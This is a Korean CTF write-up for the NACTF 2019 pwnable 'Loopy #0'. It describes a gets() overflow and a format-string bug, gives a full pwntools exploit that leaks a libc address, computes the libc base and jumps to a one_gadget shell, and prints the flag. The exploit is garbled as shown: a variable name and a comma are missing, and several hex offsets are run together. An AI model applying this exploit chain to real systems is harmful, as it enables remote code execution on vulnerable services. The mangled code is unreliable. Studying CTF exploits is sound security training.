SDJ( 수돈재 아님 ㅎ )

NACTF 2019 - Loopy #0 본문

write-up/pwnable

NACTF 2019 - Loopy #0

ShinDongJun 2019. 9. 23. 12:56

일단 2.28버전이라 로컬에서 돌리지 못했다.

( Ubuntu 16.04 LTS 라서 2.28이 아니었다.. )

 

그래서 서버로 일일이 접속하며 풀었는데 꽤나 힘들었다.

 

먼저 32 bit 바이너리에 Partial RELRO, NX가 활성화 되어있다.

 

IDA로 분석해보면

다음과 같이 vuln()함수에서 gets()함수로 BOF가 발생하고 format string buf ( FSB )도 발생하는 것을 볼 수 있다.

 

카나리가 존재하지는 않으므로 ROP를 통해 쉽게 익스가 가능할 것이라고 생각했다.

 

exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
 
= remote("shell.2019.nactf.com"31283)
 
one_offset = [0x3eae60x3eae80x3eaec0x3eaf30x691eb0x691ec]
 
printf_got = 0x0804C034
libc_main = 0x804c018
regets = 0x08049192
bss = 0x0804C02D + 0x500
 
pay = ''
pay += p32(libc_main)
pay += "-%4$s-"
pay += 'a'*(0x48-len(pay))
pay += p32(bss) 
pay += p32(regets)
p.sendlineafter(">", pay)
 
p.recvuntil("You typed: ")
p.recvuntil("-")
 
libc_start_main = u32(p.recv(4))
libc_base = libc_start_main - 109136
print "libc_start_main : " + hex(libc_start_main)
print "libc_base : " + hex(libc_base)
 
one = libc_base + one_offset[2]
 
pay = 'a'*0x48+'bbbb'+p32(one)
# pay = p32(one)*20 
p.sendlineafter(">", pay)
 
p.interactive()

 

 

flag : nactf{jus7_c411_17_4g41n_AnZPLmjm}

'write-up > pwnable' 카테고리의 다른 글

PwnThybytes 2019 - babyfactory  (0) 2019.10.07
NACTF 2019 - Loopy #1  (0) 2019.09.23
NACTF 2019 - Format #1  (0) 2019.09.23
NACTF 2019 - Format #0  (0) 2019.09.23
NACTF 2019 - BufferOverflow #2  (0) 2019.09.23
Comments